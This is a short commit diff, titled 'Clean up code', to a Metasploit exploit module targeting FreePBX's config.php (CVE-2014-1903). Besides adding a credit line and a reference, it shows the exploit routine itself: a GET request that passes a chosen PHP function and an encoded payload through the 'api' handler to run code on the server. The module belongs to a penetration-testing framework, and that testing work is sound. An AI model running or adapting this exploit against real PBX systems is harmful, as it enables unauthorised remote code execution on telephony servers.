Clean up code

Author: jvazquez-r7

modules/exploits/unix/webapp/freepbx_config_exec.rb

@@ -21,12 +21,14 @@ def initialize(info={})
       'License'        => MSF_LICENSE,
       'Author'         =>
         [
+          'i-Hmx', # Vulnerability discovery
           '0x00string', # PoC
           'xistence <xistence[at]0x90.nl>' # Metasploit module
         ],
       'References'     =>
         [
           ['CVE', '2014-1903'],
+          ['OSVDB', '103240'],
           ['EDB', '32214'],
           ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
         ],
@@ -72,17 +74,17 @@ def check
   end
 
   def exploit
-    randdata = rand_text_alpha_lower(rand(10) + 5)
+    rand_data = rand_text_alpha_lower(rand(10) + 5)
 
     print_status("#{peer} - Sending payload")
     res = send_request_cgi({
       'method' => 'GET',
       'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
       'vars_get' => {
-          "display" => randdata,
-          "handler" => "api",
-          "function" => datastore['PHPFUNC'],
-          "args" => payload.encoded
+        "display" => rand_data,
+        "handler" => "api",
+        "function" => datastore['PHPFUNC'],
+        "args" => payload.encoded
       }
     })